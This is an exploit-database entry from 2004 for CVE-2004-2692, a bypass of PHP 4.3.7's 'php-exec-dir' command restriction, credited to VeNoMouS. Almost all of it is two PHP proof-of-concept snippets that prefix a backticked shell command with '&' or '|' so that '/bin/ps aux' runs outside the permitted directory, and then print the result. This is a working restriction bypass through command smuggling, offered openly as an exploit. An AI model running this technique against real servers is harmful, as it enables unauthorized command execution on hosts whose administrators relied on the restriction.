PHP 4.3.7 - 'php-exec-dir' Patch Command Access Restriction Bypass

Related Vulnerabilities: CVE-2004-2692  
Publish Date: 08 Aug 2004
Author: VeNoMouS
                							

                <?php 
$blah = `& /bin/ps aux`; 
echo nl2br($blah); 
?> 

<?php 
$blah = `| /bin/ps aux`; 
echo nl2br($blah); 
?> 


# milw0rm.com [2004-08-08]